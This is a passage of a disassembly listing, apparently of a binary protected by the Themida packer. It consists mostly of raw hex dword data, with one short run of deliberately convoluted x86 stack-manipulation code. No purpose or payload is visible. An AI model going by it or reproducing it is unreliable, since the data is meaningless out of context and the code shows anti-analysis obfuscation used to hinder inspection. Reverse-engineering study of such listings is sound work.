895FC35Fh, 8104247Ch dd 17042444h, 47000000h, 0F9BBC357h, 0F98B5763h, 6A006Ah dd 3E850h, 58200000h, 448958C3h, 44810424h, 170424h, 50400000h dd 0D3BAFBC3h, 0FFDA8BF5h, 0E40E4195h, 56006A07h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h dd 15A49A17h, 0DCB996F6h, 6A00000Fh, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 5685C357h dd 0E18314C4h, 4FCF81FCh, 0FC49F9DAh, 2B5FF551h, 53006AC0h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h dd 5C51CD80h, 0B5896006h, 7E41385h, 2D958Bh, 0BA6107E4h dd 0 dd 12919589h, 33AD07E4h, 3E8D1C2h, 4E983D0h, 14E9F475h dd 7B000000h, 1F84685Ah, 9EF21B4Ah, 58C49AB7h, 0D3088C58h dd 0FDFDAC3h, 880DD8B7h, 6A000000h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 71B9C353h dd 762CAB24h, 0F4CED89h, 958BF8BFh, 7E41B71h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 14C35747h, 8A0F3795h dd 6, 31E9BD8Bh, 9D8907E4h, 7E40199h, 8BDFBF0Fh, 0E42DA18Dh dd 11E907h, 42B00000h, 8CDCED19h, 76B29BECh, 2F64DDC7h dd 503AC5D4h, 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h dd 14E858h, 0D70C0000h, 308D88BDh, 6382657Bh, 29E5C9D6h dd 0EC6693D5h, 0B9BB5F95h, 5B1E5631h, 0CEE38166h, 11BD837Eh dd 7E406h, 5B840Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1D0424h, 52420000h, 655F5C3h, 3DEDE02Bh dd 0E9DF5284h, 6, 25170AFBh, 0B80ADDh, 0FC000000h, 4FE78D8Dh dd 6A07E4h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h dd 53430000h, 0FF71B5C3h, 0B9BD83E1h, 7E422h, 417840Fh dd 8B660000h, 0B9BD83DAh, 107E422h, 422840Fh, 95890000h dd 7E40D81h, 22B9BD83h, 0F0307E4h, 3D986h, 14E900h, 726C0000h dd 0F04F6C2Ah, 0F6398E86h, 7F23C802h, 6A34B7Ch, 0E8607CD9h dd 0Fh, 241A043Fh, 5CB8DB5Ah, 3A63863Fh, 0B3FB4DBDh, 8C665B17h dd 51006AD9h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h dd 0C3514100h, 0F0E02B4h, 3D43EB4Ah, 0EE9h, 5873A200h dd 0FA8EC9E1h, 2FFBA440h, 8071E3C5h, 0BD3304E1h, 7E41849h dd 840FC90Ah, 139h, 0F9853360h, 6107E425h, 651858Bh, 6A07E4h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h dd 50CC87C3h, 1CC41E5Fh, 85338863h, 7E42029h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 4BC35646h, 0C781DA8Bh dd 4AF3098Dh, 24048950h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 18h, 37C35040h, 61AB0701h, 6ADF8B66h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h dd 858913DBh, 7E42AADh, 22D1BD8Bh, 0D06807E4h, 66060587h dd 810F1FBFh, 842F2434h, 8D01061Ah, 7E42ED9h, 2D9995FFh dd 6A07E4h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h dd 55450000h, 0BA0A64C3h, 8589D72Ch, 7E7F8A5h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 31C35242h, 5E8h dd 0D791AF00h, 13E9F2A8h, 63000000h, 1B611CE2h, 3309D6A3h dd 8E637AF0h, 4685336Ch, 0E95B21E2h, 1B0h, 7B10B0BBh, 9D858B30h dd 6A07E7F8h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 17042444h, 45000000h, 2B1FC355h, 0BD0B004Bh, 7E426B9h dd 1800C7h, 10E90000h, 35000000h, 0A915393Fh, 53158BB6h dd 0D01BE089h, 8B8372A7h, 0E7F8A1B5h, 57006A07h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h dd 7852BF6Ah, 72FADF2h, 0F171BF39h, 858B2EC1h, 7E40099h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 0C4C35040h dd 89553F41h, 3D9D8B06h, 8B07E406h, 0E4065185h, 53006A07h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h dd 8928EE1Ah, 0E418D195h, 7337BB07h, 468910DAh, 50006A04h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h dd 499F02D7h, 0C745FD53h, 66508962h, 891D7BBBh, 6A2434h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h dd 800F08C3h, 6, 850Fh, 0B5FF0000h, 7E7F89Dh, 918589h dd 0B96807E4h, 814C7A03h, 462434h, 6A4C65h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 190424h, 55450000h, 0C32A93C3h dd 0F9900823h, 0F8A5858Dh, 8B9007E7h, 899050F9h, 0E405F985h dd 9995FF07h, 6A07E42Dh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 19042444h, 40000000h, 5EFC350h, 60E27FE9h dd 0BE9h, 4C4C3500h, 0B9D2D8D5h, 4E6AD53h, 50006A61h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h dd 0E44508DEh, 159D8BC1h, 0C707E42Eh, 0E422B985h, 307h dd 31BD8900h, 8307E40Bh, 0E7F8A5BDh, 840F0007h, 36h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 35C35040h, 0C154BD0Bh dd 0B33B2DF8h, 0F99D8BAAh, 0E907E417h, 21h, 16A1BD8Bh dd 305007E4h, 4400110Ch, 0E8C10111h, 11443010h, 114C0002h dd 0E9835803h, 0EBE77504h, 4305036h, 11640011h, 10E8C101h dd 2114430h, 3116400h, 4E98358h, 1BEBE775h, 10E8C150h dd 3116428h, 2114430h, 11642858h, 11043001h, 7504E983h dd 8B00EBE7h, 50006AC0h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1D04h, 0C3504000h, 0DAE12B8Dh, 5FBBCB65h, 2B603B53h dd 0E429F58Dh, 6A6107h, 3E850h, 58200000h, 448958C3h, 44810424h dd 170424h, 50400000h, 0CE4870C3h, 83B2B363h, 0E422B9BDh dd 850F0307h, 46Fh, 7E9h, 79599F00h, 91FAF9B0h, 0F8A5BD83h dd 0F0007E7h, 45684h, 5E900h, 2D0E0000h, 81E64641h, 9ECFFAEBh dd 0A5B5FF53h, 6A07E7F8h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 16042444h, 43000000h, 0A6BFC353h, 819D337Fh dd 0FF07E431h, 0E4044D95h, 0A9852907h, 8B07E418h, 0E7F899B5h dd 55006A07h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h dd 0C3554500h, 0D0883A64h, 0A3D108EAh, 0C7E9B384h, 1000106h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h dd 0C3564600h, 99DC483Eh, 8BD76E61h, 0E412B5BDh, 0B6605007h dd 860F6081h, 0 dd 7E9h, 5FDA4300h, 6E2F1E38h, 34896161h, 0A5850924h, 0FF07E427h dd 0E7F8A5B5h, 0CF816607h, 0CF81B839h, 3005777Eh, 2A0995FFh dd 858907E4h, 7E41519h, 0F899B58Bh, 6A07E7h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 140424h, 57470000h, 0FF97BC3h dd 681h, 0A19D8B00h, 8B07E401h, 0E4316585h, 0BD8B5007h dd 7E40505h, 0C486895Fh, 6A000000h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 0C4FBC353h dd 9D74A41Bh, 1B71958Bh, 6A07E4h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 140424h, 51410000h, 9D8BE3C3h, 7E406E9h dd 6A04C283h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1B042444h, 47000000h, 977DC357h, 872E79BFh, 0B58962FCh dd 7E40A1Dh, 60205089h, 79B96650h, 0DE85B2Ah, 0A9000000h dd 191B8763h, 6E2C83F4h, 76BCF434h, 0FE8h, 8BCA600h, 5A1F5463h dd 0D8560184h, 197F269Dh, 8D615A5Ah, 0E80CD485h, 50006A07h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h dd 1C9FAFDEh, 0F780AC8Ch, 81BD8BB1h, 8907E403h, 0B886h dd 0A5BD0300h, 6A07E400h, 0FF89B700h, 0E7F8A5B5h, 52006A07h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h dd 7C53B266h, 0F2F978DFh, 31AD95FFh, 6A07E4h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1C0424h, 50400000h, 0C84ADAC3h dd 180D43FBh, 0EF804010h, 5E8963Ch, 76000000h, 99283625h dd 2CA0BB66h, 6651505Bh, 965BFE8Bh, 2D1BD23h, 0B5FF07E4h dd 7E7F8A5h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Ch, 0BEC35646h, 0E98A8435h, 0DF25C916h, 5E9h, 0B3295B00h dd 95FFF2E6h, 7E41B11h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 18h, 0F4C35343h, 1AEA0A34h, 0BD83FD8Ah, 7E40DF9h dd 5A840F00h, 0E9000000h, 0Eh, 9ABE0BE0h, 23972F5h, 20FED821h dd 0E850708Ch, 12h, 0DDFC58A8h, 44656D9Bh, 5403DB23h, 42A3677Fh dd 0FD8A78DAh, 2434895Fh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 15h, 0F2C35747h, 6DBD89A4h, 8B07E42Dh, 0E40595BDh dd 0A5B5FF07h, 5707E7F8h, 9258589h, 0FF5F07E4h, 0E4027D95h dd 51006A07h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h dd 0C3514100h, 50A035F2h, 23898589h, 0FF5F07E4h, 0E7F8A5B5h dd 51006A07h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h dd 0C3514100h, 0B32EADCBh, 0AC66D37Dh, 1FDBD0Bh, 9D8B07E4h dd 7E432A9h, 97195FFh, 6A07E4h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1B0424h, 52420000h, 6D289AC3h, 0C09EA5C4h dd 0F5256AAh, 8Bh, 0F5F5F00h, 82h, 21BD8300h, 207E40Ah dd 51840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1D0424h, 56460000h, 0D9B34AC3h, 0F3EBDAE7h, 8BB7F581h dd 0E41EB585h, 859D3307h, 0C607E422h, 6A0000h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h dd 0C7D3FFC3h, 0E4267185h, 7, 358D0900h, 0E907E40Bh, 0FFFFF2F2h dd 1B758529h, 0C18B07E4h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 15h, 7DC35747h, 16E94Dh, 6050000h, 606Bh dd 4 dup(0) dd 52BE9h, 0B6D8B000h, 13330C22h, 738D697Fh, 0D6EAC9DFh dd 35512C42h, 2922C8A1h, 889E324Eh, 0E6FC90AEh, 485EF208h dd 0CBF536Bh, 0A918DF5Ch, 71B613ABh, 617956E2h, 64805B29h dd 0D350B214h, 1442A02Ch, 21D641AAh, 0AD1442A0h, 0FA103244h dd 0EA910E1Dh, 681442A0h, 0A06EA6FFh, 0A573ABC3h, 1074ACCCh dd 0BCDAB452h, 3AD7E984h, 0D4B14F0Ah, 0B390AABCh, 13F1079Bh dd 9FD7EBCAh, 117AB04h, 7D50D23h, 20D70F2Dh, 44221D49h dd 0A7849A2Eh, 0D0AA578Fh, 0CD1442A0h, 0D7285410h, 0E05C11h dd 6Fh, 61795629h, 0A0817C29h, 0E3A01442h, 1204FBA3h, 1D1E05Ch dd 0FA000000h, 0D5D7D56h, 437B916Fh, 477F9975h, 7B4153ACh dd 64B4D4ADh, 0A0FE8502h, 0F35C1442h, 6E4D1BE1h, 906C0A5Ah dd 0BCE346Fh, 30899E73h, 77F4581Eh, 577750CFh, 6D4BE9C3h dd 0F72F4724h, 0D7F1035Ch, 0F492E2FAh, 0C9EBFD19h, 80A87DEFh dd 0DA5D79Bh, 528AA681h, 92D0A5B7h, 976D020h, 62B2FDA0h dd 42FA1EE5h, 4153BC14h, 20FD4C27h, 6BBA7001h, 6AC3B5EDh dd 0EE3E9732h, 0F812EE8Ch, 0C5BA25C0h, 911442A1h, 0BE501628h dd 867DFA5Ch, 541442A2h, 0A2FB80EBh, 0EE571442h, 817E6C8Eh dd 0FE10D50Eh, 0DEB80BE4h, 0DEBA88C0h, 0DA126BC4h, 0AC93D39Ch dd 0BA41BED1h, 181442EAh, 5864FAFh, 7E7E441Dh, 5B37D525h dd 5C6E0941h, 2F47243Ah, 0C1A66DDFh, 54B1379h, 835F2DF3h dd 86973169h, 51919EDEh, 0A947E05Bh, 87A17DD0h, 4B28F62Eh dd 29C8DA33h, 8Ch, 1BF49252h, 0F4CFE9FBh, 700EA0D8h, 7C038097h dd 0DA1442A0h, 12E01871h, 0B3C51E34h, 6BA3BD99h, 63DA8A07h dd 0AA1C6C88h, 17E95C9Ch, 0BFDBB6D6h, 0E200DA66h, 0DBFD0FAAh dd 96CEEAC5h, 9DD5E9C8h, 7B2F203h, 3E768A69h, 79B691A3h dd 7EE05C0Fh, 71h, 5F7B56A7h, 327B5927h, 2973556h, 380A44FAh dd 0B30CA7DFh, 6F179A7Bh, 9AB08E2Ch, 0AC53D062h, 2A1442DEh dd 6D0868C1h, 0BEFA765Eh, 0DFBAD4E6h, 6199B590h, 8D96DC6h dd 0CCB33092h, 8A1442A0h, 1CF50F21h, 593AACFCh, 716EC66Eh dd 7522E8FAh, 14421F8Bh, 0EE82F0Eh, 915F97F0h, 0AC639BB5h dd 0DFE191D5h, 0C53A6222h, 12E05B52h, 1, 607A563Bh, 657D5A28h dd 0E79F762Dh, 0EE829C78h, 9EEEC0CFh, 0A691EB21h, 840A913h dd 0F5455D3Ah, 18F593h, 3DC22DC8h, 9913A692h, 0E6FC1E30h dd 27B9F109h, 1399B0B5h, 8D9FF179h, 0A6FEE994h, 0EC981B13h dd 16360FADh, 0F50DEA04h, 236E4B61h, 85D52E46h, 0E1F309E7h dd 58704D1Bh, 6D19E220h, 0ADFD15F2h, 0D720683Bh, 8799B7EBh dd 31718E65h, 66D877h, 8F000001h, 1C6C424Dh, 2E81A27Eh dd 8E982936h, 0A17F91EAh, 0A6D57A24h, 5FAF1813h, 29FB80FDh dd 0EE5713A6h, 6B4816DCh, 0CCA9BF53h, 4CEA7CB4h, 8520586Eh dd 647C5973h, 6125EE2Ch, 750921FEh, 7788619Eh, 58D537D8h dd 13A625A3h, 15B4C62Fh, 41h, 6A444D3Eh, 5F069D1Ah, 0E3556BBDh dd 0D8495C8Ah, 79586AA3h, 542BD810h, 5694426Ah, 6A4D78Fh dd 0DBFE102Ah, 46A8F8B6h, 0A27FCCA8h, 5EB7528Ah, 80798B26h dd 0EBBD951Bh, 6C3ACE37h, 6Fh, 6C424DFBh, 0B9F59F1Ch, 0FE9C13A6h dd 35D00822h, 0A3DB4423h, 4CE0F8D5h, 9415936h, 0A6BA5C5Ch dd 7E1CE013h, 0B8538B9Fh, 0E25D09A6h, 3A59ED05h, 0A7095955h dd 1132D09h, 4FB24808h, 54A91B14h, 96A99F1Bh, 8DF6D5E7h dd 0E461C355h, 1B8F701Fh, 19DE5BBBh, 0B51B8F70h, 0C7E1F34Ch dd 0E39AD2EAh, 0B3DC580Ch, 722EABFBh, 401C6679h, 4D7243D7h dd 425E3942h, 0D53799E9h, 42A0A358h, 0B4C62F14h, 0ABA9FFBBh dd 1464CD13h, 457D9D76h, 4A829A77h, 7E4456AFh, 27BBD3B0h dd 0BE93411h, 75CEE4C2h, 4737E41Ch, 0D27429A3h, 0D5A3DBF7h dd 67A5DDFBh, 88AAE69Eh, 7E45B0Bh, 0E5101CE8h, 0CA231E59h dd 24432036h, 250B94CAh, 442D34ECh, 99397D8Eh, 0E1AFE740h dd 0C562E702h, 65C7BC39h, 2A937B29h, 0FA0466CAh, 714C449Ah dd 6EC7C6E5h, 0FCA87F36h, 0F88CA481h, 0B5ED05E2h, 0F2Fh dd 3E17B500h, 64BE1Eh, 20F26ED9h, 3E8D390Eh, 245C7E56h dd 29617956h, 2F677D5Bh, 31698761h, 346C8863h, 376F8B66h dd 3E768A69h, 427A9470h, 437B9B74h, 0E38953EEh, 4C381h dd 0EB830000h, 241C3304h, 33241C31h, 535C241Ch, 0C381E389h dd 4, 4EB81h, 1C870000h, 1C895C24h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edi push edx mov edx, 7E9095Ah mov ebx, edx mov edx, [esp] add esp, 4 push esp mov edi, [esp] add esp, 4 push esi mov esi, ebx mov [edi+8], esi mov esi, [esp] add esp, 4 push dword ptr [esp] pop edi add esp, 4 mov ebx, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp jmp loc_58A287 ; --------------------------------------------------------------------------- dd 0FE86E03Eh, 0E90E02B8h, 0FFC50307h, 205B89E0h, 5D54605Eh dd 0D114857h, 1CFDE5Bh, 0BD372457h, 0D17B5E56h, 4D891A7Bh dd 0DE21667Eh, 0F82E851Bh, 4B31B2Fh, 45AD076Bh, 143BD533h dd 0CC39A129h, 0F87FB68h, 92400A34h, 0CE001744h, 7B3B2525h dd 4B55DD4Bh, 39BA0A60h, 0BE2E3937h, 0B76E2A5Fh, 0FC96E131h dd 0AD172B7Bh, 413FE53Bh, 0D1AB6327h, 0DFA1231Fh, 0A62AE861h dd 0C5778600h, 6C3D3678h, 46504B56h, 85858D74h, 6A07E40Dh dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1D042444h dd 45000000h, 190AC355h, 4116D1A5h, 8FCE5C99h, 0E950DD8Ah dd 5, 46E715F7h, 240489BCh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Bh, 0F3C35141h, 9666EDABh, 6AD5898Eh, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h dd 6EDFC278h, 6A006AE5h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1B042444h, 43000000h, 0C94C353h, 7BE3477Ah dd 9D8B896Eh, 7E4273Dh, 1117858Dh, 6A07E9h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 150424h, 51410000h, 23265CC3h dd 0E40105BDh, 5C08307h, 2518589h, 0F5007E4h, 688h, 0F19D8B00h dd 5F07E40Eh, 0C1BDBB90h, 8B502F8Fh, 6A90D8h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1A0424h, 50400000h, 0DABD09C3h dd 0E53F11C9h, 0D78166F9h, 6A8F98h, 6AF8B70Fh, 5DBF6600h dd 7195FFC3h, 8107E424h, 627821C3h, 4B8D8D70h, 2907E7D6h dd 0E42D5185h, 6AD1FF07h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1A042444h, 46000000h, 5E29C356h, 3C7D9205h dd 85BD8B7Eh, 8007E400h, 0BD83CADFh, 7E42015h, 97850F01h dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1B042444h, 45000000h, 0B63C355h, 8929A1F3h, 8D091DEEh dd 7E42FD1h, 6A026Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 140424h, 51410000h, 8C0FCBC3h, 3, 5076CF80h, 3850Fh dd 8B660000h, 240489FBh, 95FFDA8Bh, 7E431ADh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 85C35545h, 0FE8CAh dd 25FB0000h, 7871A5F9h, 4BC5078Bh, 0D774168Ah, 0B7E95F55h db 0Ch, 2 dup(0) byte_5D35A7 db 0E8h ; DATA XREF: Themida_:005826DCo dd 0 dd 21ED815Dh, 8B07E911h, 0E40DAD9Dh, 0FE8B6607h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 6FC35545h, 858DF9D5h dd 7E7C6E1h, 14E990h, 0A6EB0000h, 83BF21D3h, 940A6609h dd 456B725Fh, 0D8A2EC65h, 905027C9h, 2FBD8D89h, 9E907E4h dd 6E000000h, 6862340Ch, 0DA06027Ch, 35FF64h, 6A000000h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1B042444h dd 40000000h, 0C949C350h, 1AC8E326h, 0BD8B9AA0h, 7E41E2Dh dd 258964h, 3000000h, 0E41BB59Dh, 0B985FF07h, 3107E420h dd 0E423D195h, 0BBFF6A07h, 47C12D63h, 1D49B5FFh, 9D8B07E4h dd 7E41E35h, 304D95FFh, 0E3E907E4h, 8B000000h, 0E416699Dh dd 0E600B007h, 71E4F570h, 0A8D8D89h, 613C07E4h, 0C8830Fh dd 9D8B0000h, 7E42DD5h, 66C8B60Fh, 0D35DF381h, 6BAh, 0C18BF500h dd 0F504E8C1h, 66E2F766h, 85BFFA8Bh, 2B4EC85Dh, 0C19D8BC8h dd 8B07E41Eh, 358589D1h, 0E907E424h, 13h, 47B232D5h, 93CCB86Bh dd 0BC8FF90Fh, 42980DC3h, 0E9AD49F1h, 76h, 33119D03h, 858B07E4h dd 1, 0EF8166F5h, 0C0835BA8h, 0BD958907h, 8307E424h, 0BD8B00C0h dd 7E41BE5h, 830FD03Bh, 6, 45E9h, 8D8BF800h, 0FFFFFFFFh dd 18358509h, 0E18307E4h, 2F840F01h, 0F9000000h, 0FFFFA583h dd 50FEFFFFh, 0BE9h, 7C5FBE00h, 0E40604ABh, 0A39AA88h dd 195895Bh, 0F000000h, 484h, 6CBB6600h, 0E9D0h, 0B58D0000h dd 7E88A37h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 15h, 24C35040h, 219D8B4Bh, 6A07E406h, 859D2900h, 0FF07E40Fh dd 0E40E4195h, 19D8B07h, 0B907E433h, 0F6Eh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0F2C35242h, 0D0ADED90h dd 2C120319h, 0DE9EFh, 38A00000h, 226E32F9h, 339B9BC3h dd 839E4E8Ah, 6AFCE1h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1B0424h, 55450000h, 0C65535C3h, 97241D61h, 84EF80DCh dd 53006AFCh, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h dd 0C3534300h, 29AA1887h, 0F1B5898Ch, 2B07E40Eh, 8644BBC0h dd 0BA4411h, 0E8000000h, 0Ch, 4CB0E651h, 39CC9EF9h, 0E6B4FFD4h dd 33AD5FFCh, 3E8D1C2h, 4E983D0h, 10E9F475h, 0C1000000h dd 0DC72675h, 749F17F4h, 85454BAEh, 6A80D6B8h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h dd 241CC350h, 810FFA34h, 14h, 0FE9h, 0D1908600h, 0A75889DBh dd 0C4542A8Ah, 610727E2h, 880Dh, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1D04h, 0C3504000h, 83B334EBh dd 0F164AF9Dh, 9D89E9DBh, 7E42375h, 35659D8Bh, 958B07E4h dd 7E41B71h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 19h, 0A4C35545h, 83D94750h, 918D2903h, 8B07E406h, 0E42DA18Dh dd 0D88B6607h, 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h dd 0BF0F5818h, 9BD33DEh, 8307E425h, 0E40611BDh, 840F0007h dd 79h, 1EC19529h, 0BD8B07E4h, 7E422B5h, 0B8h, 0AE800h dd 49670000h, 52F3A68Bh, 578DB984h, 3341B589h, 8D5F07E4h dd 0E44FE78Dh, 55006A07h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1A04h, 0C3554500h, 532820BAh, 89CDA452h dd 0E406618Dh, 6AE1FF07h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 14042444h, 43000000h, 8915C353h, 0E41CD9BDh dd 0B9BD8307h, 7E422h, 435840Fh, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 170424h, 53430000h, 7BA9D0C3h dd 0AE98Ch, 6CB90000h, 37E83AC4h, 4B3C98E7h, 18A19D8Bh dd 0BD8307E4h, 7E422B9h, 0F840F01h, 6A000004h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h dd 7364C353h, 3FDBAFDAh, 0C99D8D4Fh, 860FFB8Bh, 6, 2AB59D8Bh dd 0BD8307E4h, 7E422B9h, 99860F03h, 6A000003h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h dd 0E861C350h, 5, 278D8956h, 0F8E0F38h, 0E9000000h, 0Ah dd 256367BFh, 0E0D91h, 235B0200h, 0E402119Dh, 6A6007h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h dd 66CAAEC3h, 870FD98Ch, 0Ah, 5E9h, 0D816C600h, 0E180CE5Dh dd 699D8904h, 0A07E425h, 54840FC9h, 1000001h, 0E41F3985h dd 51858B07h, 6A07E406h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1B042444h, 40000000h, 0B99BC350h, 2201D86Ah dd 13E8534Ch, 84000000h, 63C6E795h, 8B73C3FAh, 774FC930h dd 4D94F02Dh, 10E9F86Ch, 28000000h, 0C641AD04h, 0C1BAF195h dd 5BA420E6h, 5F76CC2Dh, 20298533h, 9DBB07E4h, 504138D3h dd 0FA8B5250h, 0DE8B310Fh, 489585Ah, 53006A24h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1404h, 0C3534300h, 38BB668Eh dd 9E924h, 4C830000h, 0C0742922h, 6AB8FE20h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h dd 6365829Fh, 9F69EA3h, 9D890413h, 7E42031h, 9D090EB7h dd 7E4313Dh, 4DDCBE68h, 3056BFEBh, 481277Eh, 0D1274124h dd 8BF96014h, 0E43235B5h, 30BF6107h, 0FF2E537Ah, 0E42D9995h dd 50006A07h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h dd 0C3504000h, 85890320h, 7E7F8A5h, 6860Fh, 8D090000h dd 7E41879h, 16CE9h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1A04h, 0C3564600h, 12847D6Ah, 8B2D9677h dd 0E7F89D85h, 68F0F07h, 81000000h, 0F4C3F6EFh, 1800C753h dd 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1A042444h, 43000000h, 89D3C353h, 24DE4860h, 0A1B58B5Eh dd 8907E7F8h, 0E4192595h, 99858B07h, 8907E400h, 0E41641BDh dd 0F5068907h, 651858Bh, 6A07E4h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1A0424h, 50400000h, 0FE8083C3h, 0C2EB6B18h dd 7C529EBBh, 0C781664Bh, 9D8B969Fh, 7E40E11h, 1044689h dd 0E41D859Dh, 0BB665007h, 34899B69h, 51006A24h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1704h, 0C3514100h dd 0C4BA725Ch, 2D059D8Bh, 8B6607E4h, 9DB5FFF9h, 8907E7F8h dd 0E42ED995h, 73726807h, 34811E3Eh, 21708D24h, 0A59D231Eh dd 8D07E42Fh, 0E7F8A585h, 57006A07h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1704h, 0C3574700h, 84C168BDh dd 50DFB70Fh, 0FD4DBA60h, 8B6643B8h, 48961D8h, 51006A24h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h dd 9D311FFFh, 7E42651h, 5439EB81h, 95FF6116h, 7E42D99h dd 6A61F9h, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h dd 50400000h, 89D2D7C3h, 0E4228D8Dh, 0B985C707h, 307E422h dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 17042444h, 45000000h, 62F2C355h, 9D8B3A06h, 7E41639h dd 14AD9D8Bh, 0BD8307E4h, 7E7F8A5h, 11840F00h, 66000000h dd 0E9CDFDBFh, 23h, 9B53150h, 5F07E423h, 110C3050h, 1114400h dd 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h dd 110430h, 0C1011164h, 443010E8h, 64000211h, 83580311h dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h dd 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h dd 0B9D5C352h, 9CDAEE5Ch, 22B9BD83h, 0F0307E4h, 3D085h dd 0FBB70F00h, 0F8A5BD83h, 0F0007E7h, 3C084h, 0B5FFFC00h dd 7E7F8A5h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Ah, 7DC35545h, 0B4887ECEh, 0FE88389h, 0C1000000h, 0E43D0D86h dd 9D691579h, 0D42D738Dh, 8A0FA5C3h, 2, 0FF5BF88Bh, 0E4044D95h dd 0D8BF6607h, 99B58B3Ah, 8B07E7F8h, 